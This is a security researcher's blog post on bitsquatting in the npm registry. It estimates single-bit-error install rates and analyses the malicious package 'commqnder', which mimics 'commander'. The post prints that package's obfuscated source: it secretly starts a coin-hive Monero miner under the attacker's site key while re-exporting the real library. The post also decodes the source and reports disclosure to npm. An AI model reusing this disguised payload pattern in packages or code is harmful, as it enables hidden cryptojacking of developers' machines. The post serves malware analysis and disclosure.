Bitsquatting NPM Packages

This blog post outlines some research I did into the npm registry, searching for malware. The results of this research were disclosed in late September 2017, and resulted in several packages being quarantined by their security team.

Bitsquatting is a somewhat well-known technique for exploiting computer hardware errors, receiving requests that were intended for a popular domain by squatting versions of the domain which are a single bit modified from the original. This technique was first written about extensively by Artem Dinaburg in “Bitsquatting: DNS Hijacking without exploitation”.

Here’s a graph of npm’s download numbers, per 28 days.

This data gives us a recent figure of 13.5 Billion packages downloaded every 28 days, or ~4.82e8 downloads every single day. From this we can calculate an estimate of the average daily single-bit error rate by npm clients. Research from Verisign gives us an average estimated single bit error rate of around 1.06e-6.

(13500000000 / 28) * 1.06e-6 = ~511: ~511 single-bit-errored requests per day.

Intrigued, I wrote a utility to scan the npm registry for suspicious packages that may be exploiting single-bit errors to receive unintended installations. The npm registry contains a vast amount of packages, so the utility looks for ‘cyclical bitflip’ packages: packages whose names are a single bit away from a top 100 package, and also import that package.

I found a few packages. Notable among these was commqnder, which is a single bit away from the popular commander package, and also imports that package. Let’s take a look at the source:


var d = h => h.map(s => String.fromCharCode(s)).join("");
var r = require;
var c = r("commander");
var h = r(d([0x63,0x6f,0x69,0x6e,0x2d,0x68,0x69,0x76,0x65]));
(async () => {
var p = await h(d([0x4f,0x52,0x78,0x76,0x68,0x65,0x7a,0x65,0x67,0x54,0x79,0x6a,0x4f,0x75,0x52,0x38,0x49,0x78,0x4b,0x69,0x48,0x71,0x48,0x69,0x4b,0x6b,0x6e,0x63,0x4c,0x38,0x49,0x71]));
await p[d([0x73,0x74,0x61,0x72,0x74])]();
})();
module.exports = c;

Something seems off about this. Time to do some reverse engineering. Those char code arrays look like a good place to start. The author wrote a handy function d to convert them back to strings, let’s see where that gets us:

var d = h => h.map(s => String.fromCharCode(s)).join("");
console.log(d([0x63,0x6f,0x69,0x6e,0x2d,0x68,0x69,0x76,0x65]))
console.log(d([0x4f,0x52,0x78,0x76,0x68,0x65,0x7a,0x65,0x67,0x54,0x79,0x6a,0x4f,0x75,0x52,0x38,0x49,0x78,0x4b,0x69,0x48,0x71,0x48,0x69,0x4b,0x6b,0x6e,0x63,0x4c,0x38,0x49,0x71]))
console.log(d([0x73,0x74,0x61,0x72,0x74]))
Output:
coin-hive
ORxvhezegTyjOuR8IxKiHqHiKkncL8Iq
start

The first hex string, coin-hive, gets passed to require. I wonder what coin-hive is?

Neat.

Now it’s fairly clear what the rest of the code is doing: it initializes a coin-hive instance using the attacker’s site key and then calls the start method on that instance. The package exports the original underlying commander package, leaving this Monero miner unknowingly running on the errored machine.

At the time I discovered commqnder, it had received a few hundred installations per week according to npm’s stats. I reported commqnder to npm along with a brief description of the issues described in this blog post. Their security team has quarantined the reported packages.

Conclusion

The problems outlined in this blog post are a strict subset of the typosquatting problems that npm has had in the past. This specific case is a bit more insidious, since the installations are a result of machine memory errors instead of human typos. Hopefully package manager maintainers will be more weary of this problem in the future, possibly flagging packages which are a single bit away from heavily trafficked packages.